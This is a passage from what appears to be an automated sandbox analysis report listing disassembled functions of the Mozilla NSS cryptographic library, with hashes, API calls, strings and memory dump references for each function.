Instruction ID: 278c1d0efcd76931eaeae2460e411f5e73022a4d589095637035b4e11572b2d1
Opcode Fuzzy Hash: b049c3362ed27a02e8b4f5913c59e4ae175bb8a0797b4174cc7f6104517369ea
Instruction Fuzzy Hash: 0F9174B0A022068FDB04CF55CD80A6AF7B1FF85318F28C16DD9199B752E735E995CB60

Function 6CA95CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA95EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA95EED

Strings

API call with %s database connection pointer, xrefs: 6CA95EC3
misuse, xrefs: 6CA95EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA95ED1
invalid, xrefs: 6CA95EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CA95E64
%s at line %d of [%.10s], xrefs: 6CA95EE0

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: e8b3c4793f9f9173108c53e5d5e2ced43a3636c6a8401cc2c7b123e6c2dfb26c
Instruction ID: f27bb1117c1baf36a09c50a6b2ee0e932b5d4fddeb95ded5181ae6c1feae4de3
Opcode Fuzzy Hash: e8b3c4793f9f9173108c53e5d5e2ced43a3636c6a8401cc2c7b123e6c2dfb26c
Instruction Fuzzy Hash: 4E81BE30B166119BEB19CF25C84BB6A73F0BF4131AF2D4368D8165BB61D731E886CB91

Function 6CA7DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA7DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA7DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA7DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CA7DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA7DF78

Strings

database corruption, xrefs: 6CA7DE5C, 6CA7DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA7DE52, 6CA7DE81
%s at line %d of [%.10s], xrefs: 6CA7DE61, 6CA7DE90

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: cd90e8dc8d8ea1271792cf2ceecde64d5c4951122157df5d209f5062d0010e63
Instruction ID: b7a6da281c109b7b71e29a11083d4079ca3a28ffd1cb996e95e11744da3f83c8
Opcode Fuzzy Hash: cd90e8dc8d8ea1271792cf2ceecde64d5c4951122157df5d209f5062d0010e63
Instruction Fuzzy Hash: 0581C579B053409FD724CF25C980B6A77F1BF45318F19882DE89A8BB52E731E885C762

Function 6CA2CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CA2B999), ref: 6CA2CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CA2B999), ref: 6CA2D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CA2B999), ref: 6CA2D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CA2B999), ref: 6CB7972B

Strings

database corruption, xrefs: 6CA2CFE7, 6CA2D013, 6CA2D028, 6CA2D039, 6CA2D03E, 6CB79786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA2CFDD, 6CA2D00E, 6CA2D022, 6CA2D033, 6CB79780
%s at line %d of [%.10s], xrefs: 6CA2CFEC, 6CA2D018, 6CA2D029, 6CA2D03F, 6CB7978B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 95a3e02e21e457c99984fe5a2e24fd3f47ff0fef14bdfe51ac794e74cc8ead91
Instruction ID: a7a2046a8740310be254c606f8e942a4bddbb643402710f1b77f89e09f25a2dd
Opcode Fuzzy Hash: 95a3e02e21e457c99984fe5a2e24fd3f47ff0fef14bdfe51ac794e74cc8ead91
Instruction Fuzzy Hash: 80615C71A043608BD320CF29C840BA6B7F5EF55319F29816DE4459FB42D37AE847C7A1

Function 6CB2FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB35B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CB30113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB30130
PORT_Alloc_Util.NSS3(00000040), ref: 6CB3015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CB301AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CB30202
free.MOZGLUE(?), ref: 6CB30224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB30253

Strings

exporter, xrefs: 6CB300F7

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: f06dbb3194340f9b4efaae1f1fdd99880c297bb203808a8f739ca8194b361162
Instruction ID: b985fef40c0c6c2a93f0d74908157c2fd36c0c0d5f8a9cd64d997600db6deb3a
Opcode Fuzzy Hash: f06dbb3194340f9b4efaae1f1fdd99880c297bb203808a8f739ca8194b361162
Instruction Fuzzy Hash: 4A61F371900BD99BEF118FA4EC00BEE77B6FF44308F145228F91E56661E731A958CB42

Function 6CB2EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CB4A4A1,?,00000000,?,00000001), ref: 6CB2EF6D

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

htonl.WSOCK32(00000000,?,6CB4A4A1,?,00000000,?,00000001), ref: 6CB2EFE4
htonl.WSOCK32(?,00000000,?,6CB4A4A1,?,00000000,?,00000001), ref: 6CB2EFF1
memcpy.VCRUNTIME140(?,?,6CB4A4A1,?,00000000,?,6CB4A4A1,?,00000000,?,00000001), ref: 6CB2F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CB4A4A1,?,00000000,?,00000001), ref: 6CB2F027

Strings

dtls13, xrefs: 6CB2EF33

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 47b88366ac040a5a2005b0c7f67a9bfed77e07f55aebcf17652ec7d97edb583f
Instruction ID: abac0eeab75be88305dd23d3ab4e58a7809ddad4a7c3a4ac092045808ad0be20
Opcode Fuzzy Hash: 47b88366ac040a5a2005b0c7f67a9bfed77e07f55aebcf17652ec7d97edb583f
Instruction Fuzzy Hash: 7E31F371A002919BDB20DF39DC40BAEB7E4EF49348F158029E81CAB751E735E915CBE2

Function 6CAAAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CAAAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBC9500,6CAA3F91), ref: 6CAAAFD2

Part of subcall function 6CAFB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBD18D0,?), ref: 6CAFB095

DER_GetInteger_Util.NSS3(?), ref: 6CAAB007

Part of subcall function 6CAF6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CAA1666,?,6CAAB00C,?), ref: 6CAF6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CAAB02F
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CAAB046
PL_FreeArenaPool.NSS3 ref: 6CAAB058
PL_FinishArenaPool.NSS3 ref: 6CAAB060

Strings

security, xrefs: 6CAAAFB8

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 638f4053da0c37956a0c31466caf40679c19402dce08fa25eaffad5df2036c52
Instruction ID: eda28c6761bab1d873e14281343964c70cd4e0443c3e65a6af51071095bbaa47
Opcode Fuzzy Hash: 638f4053da0c37956a0c31466caf40679c19402dce08fa25eaffad5df2036c52
Instruction Fuzzy Hash: 6E31387050434497D7108F65E841BAA7BB4AF4632CF140718F9B49BBD1E732918AC797

Function 6CAA3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CAA3F7F,?,00000055,?,?,6CAA1666,?,?), ref: 6CAA40D9
Part of subcall function 6CAA40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CAA1666,?,?), ref: 6CAA40FC
Part of subcall function 6CAA40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CAA1666,?,?), ref: 6CAA4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CAA3ED6

Part of subcall function 6CAFB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBD18D0,?), ref: 6CAFB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA3EEE

Part of subcall function 6CAFFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAF8D2D,?,00000000,?), ref: 6CAFFB85
Part of subcall function 6CAFFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAFFBB1

PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CAA3F02
PL_FreeArenaPool.NSS3 ref: 6CAA3F14
PL_FinishArenaPool.NSS3 ref: 6CAA3F1C

Part of subcall function 6CB064F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CB0127C,00000000,00000000,00000000), ref: 6CB0650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAA3F27

Strings

security, xrefs: 6CAA3EBC

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: d79e1744022260287303304842598a0f09ad22f9853e312792970208ae9e5d9c
Instruction ID: 45ac9f27bc41bac324bb3f452fefde3ebeb6dfd824c84c0675366cc93dba8896
Opcode Fuzzy Hash: d79e1744022260287303304842598a0f09ad22f9853e312792970208ae9e5d9c
Instruction Fuzzy Hash: 1921F5B2A043406BD7149B55AC02FAF77B8AB4831CF04053DF999A7B81E731E6588796

Function 6CAECC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CAECD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CAECE16
PR_SetError.NSS3(00000000,00000000), ref: 6CAED079

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 83b438f6b0c7fa2f9a64212cc719ec6fee54522012feed91a6e36d4d2fa29e94
Instruction ID: 37686538de4cb3a8a6b79b38700678b7f928160a97a225a0434183a44df3f4cc
Opcode Fuzzy Hash: 83b438f6b0c7fa2f9a64212cc719ec6fee54522012feed91a6e36d4d2fa29e94
Instruction Fuzzy Hash: CCC170B5A002199BDB10CF14CC80BDA7BB4BB4C318F1841A8D949A7741E775AED5DFD0

Function 6CADDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CAE97C1,?,00000000,00000000,?,?,?,00000000,?,6CAC7F4A,00000000), ref: 6CADDC68

Part of subcall function 6CB00BE0: malloc.MOZGLUE(6CAF8D2D,?,00000000,?), ref: 6CB00BF8
Part of subcall function 6CB00BE0: TlsGetValue.KERNEL32(6CAF8D2D,?,00000000,?), ref: 6CB00C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CADDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CADDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CADDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CADDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CADDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CADDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CADDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CAC7F4A,00000000,?,00000000,00000000), ref: 6CADDFAA

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: d9c31b11255d820ad05686d39b9b65fe6dbc783c416e5111a12a9e5adb34120f
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 0D81B370E425428BFB104E59D8903597AB2EB64348F2A883AD559CAFE1DF74E4C4CE22

Function 6CAB3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CAB3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CAB3C94

Part of subcall function 6CAA95B0: TlsGetValue.KERNEL32(00000000,?,6CAC00D2,00000000), ref: 6CAA95D2
Part of subcall function 6CAA95B0: EnterCriticalSection.KERNEL32(?,?,?,6CAC00D2,00000000), ref: 6CAA95E7
Part of subcall function 6CAA95B0: PR_Unlock.NSS3(?,?,?,?,6CAC00D2,00000000), ref: 6CAA9605

PORT_NewArena_Util.NSS3(00000800), ref: 6CAB3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CAB3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CAB3CE1

Part of subcall function 6CAB3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CACAE42), ref: 6CAB30AA
Part of subcall function 6CAB3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB30C7
Part of subcall function 6CAB3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CAB30E5
Part of subcall function 6CAB3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAB3116
Part of subcall function 6CAB3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAB312B
Part of subcall function 6CAB3090: PK11_DestroyObject.NSS3(?,?), ref: 6CAB3154
Part of subcall function 6CAB3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB317E

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 295fc0015b3aa095c7fb596eb09e8f69f01ad18ab4be548869c2b7fe4f7f70c3
Instruction ID: 6fb0408a20d097727a2e431d6f3ca51a72d7f7065e6addcfeb6e6eabc41df96c
Opcode Fuzzy Hash: 295fc0015b3aa095c7fb596eb09e8f69f01ad18ab4be548869c2b7fe4f7f70c3
Instruction Fuzzy Hash: 4A61C671A01200ABEF105F65DD41FAB76BDEF08748F0C4029FE45AAA52FB31D958D7A1

Function 6CAF3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CAF3440: PK11_GetAllTokens.NSS3 ref: 6CAF3481
Part of subcall function 6CAF3440: PR_SetError.NSS3(00000000,00000000), ref: 6CAF34A3
Part of subcall function 6CAF3440: TlsGetValue.KERNEL32 ref: 6CAF352E
Part of subcall function 6CAF3440: EnterCriticalSection.KERNEL32(?), ref: 6CAF3542
Part of subcall function 6CAF3440: PR_Unlock.NSS3(?), ref: 6CAF355B

TlsGetValue.KERNEL32 ref: 6CAF3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CAF3D9F
PR_Unlock.NSS3(?), ref: 6CAF3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CAF3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CAF3E4F

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

TlsGetValue.KERNEL32 ref: 6CAF3E97
EnterCriticalSection.KERNEL32(?), ref: 6CAF3EAB
PR_Unlock.NSS3(?), ref: 6CAF3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CAF3EEE

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 99997039e3e6a3a11f341d3389b6fdac835ea82e29450d9903a6ca74fe166077
Instruction ID: 15d52af823a88811026edd24fbc91e8d68ce5d8eead70e91f3d09f98be0e5d02
Opcode Fuzzy Hash: 99997039e3e6a3a11f341d3389b6fdac835ea82e29450d9903a6ca74fe166077
Instruction Fuzzy Hash: 5E518C75A022009FDB11AF68DC4476A73F4EF45318F094528EEA957B11EB31E8D6C7D2

Function 6CAA2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(1CA903C2), ref: 6CAA2C5D

Part of subcall function 6CB00D30: calloc.MOZGLUE ref: 6CB00D50
Part of subcall function 6CB00D30: TlsGetValue.KERNEL32 ref: 6CB00D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CAA2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAA2CE0

